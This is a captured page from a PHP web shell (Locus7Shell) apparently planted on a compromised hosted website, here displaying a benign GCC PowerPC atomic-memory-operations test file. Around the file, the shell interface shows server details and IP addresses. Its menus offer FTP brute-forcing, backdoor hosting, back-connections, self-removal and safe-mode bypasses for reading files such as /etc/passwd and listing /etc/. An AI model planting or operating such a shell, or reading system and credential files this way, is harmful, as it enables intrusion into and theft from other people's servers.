Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/powerpc/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     amo2.c (2.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run { target { powerpc*-*-linux* && { lp64 && p9vector_hw } } } } */
/* { dg-require-effective-target powerpc_p9vector_ok } */
/* { dg-options "-O2 -mpower9-vector -mpower9-misc" } */

#include <amo.h>
#include <stdint.h>
#include <stdlib.h>

/* Test whether the ISA 3.0 amo (atomic memory operations) functions perform as
   expected.  */

/* 32-bit tests.  */
static uint32_t u32_ld[4] = {
  9,                /* add */
  7,                /* xor */
  6,                /* ior */
  7,                /* and */
};

static uint32_t u32_st[4] = {
  9,                /* add */
  7,                /* xor */
  6,                /* ior */
  7,                /* and */
};

static uint32_t u32_result[4];

static uint32_t u32_update[4] = {
  9 + 1,            /* add */
  7 ^ 1,            /* xor */
  6 | 1,            /* ior */
  7 & 1,            /* and */
};

static uint32_t u32_prev[4] = {
  9,                /* add */
  7,                /* xor */
  6,                /* ior */
  7,                /* and */
};

/* 64-bit tests.  */
static uint64_t u64_ld[4] = {
  9,                /* add */
  7,                /* xor */
  6,                /* ior */
  7,                /* and */
};

static uint64_t u64_st[4] = {
  9,                /* add */
  7,                /* xor */
  6,                /* ior */
  7,                /* and */
};

static uint64_t u64_result[4];

static uint64_t u64_update[4] = {
  9 + 1,            /* add */
  7 ^ 1,            /* xor */
  6 | 1,            /* ior */
  7 & 1,            /* and */
};

static uint64_t u64_prev[4] = {
  9,                /* add */
  7,                /* xor */
  6,                /* ior */
  7,                /* and */
};

int
main (void)
{
  size_t i;

  u32_result[0] = amo_lwat_add (&u32_ld[0], 1);
  u32_result[1] = amo_lwat_xor (&u32_ld[1], 1);
  u32_result[2] = amo_lwat_ior (&u32_ld[2], 1);
  u32_result[3] = amo_lwat_and (&u32_ld[3], 1);

  u64_result[0] = amo_ldat_add (&u64_ld[0], 1);
  u64_result[1] = amo_ldat_xor (&u64_ld[1], 1);
  u64_result[2] = amo_ldat_ior (&u64_ld[2], 1);
  u64_result[3] = amo_ldat_and (&u64_ld[3], 1);

  amo_stwat_add (&u32_st[0], 1);
  amo_stwat_xor (&u32_st[1], 1);
  amo_stwat_ior (&u32_st[2], 1);
  amo_stwat_and (&u32_st[3], 1);

  amo_stdat_add (&u64_st[0], 1);
  amo_stdat_xor (&u64_st[1], 1);
  amo_stdat_ior (&u64_st[2], 1);
  amo_stdat_and (&u64_st[3], 1);

  for (i = 0; i < 4; i++)
    {
      if (u32_result[i] != u32_prev[i])
    abort ();

      if (u32_ld[i] != u32_update[i])
    abort ();

      if (u32_st[i] != u32_update[i])
    abort ();

      if (u64_result[i] != u64_prev[i])
    abort ();

      if (u64_ld[i] != u64_update[i])
    abort ();

      if (u64_st[i] != u64_update[i])
    abort ();
    }

  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--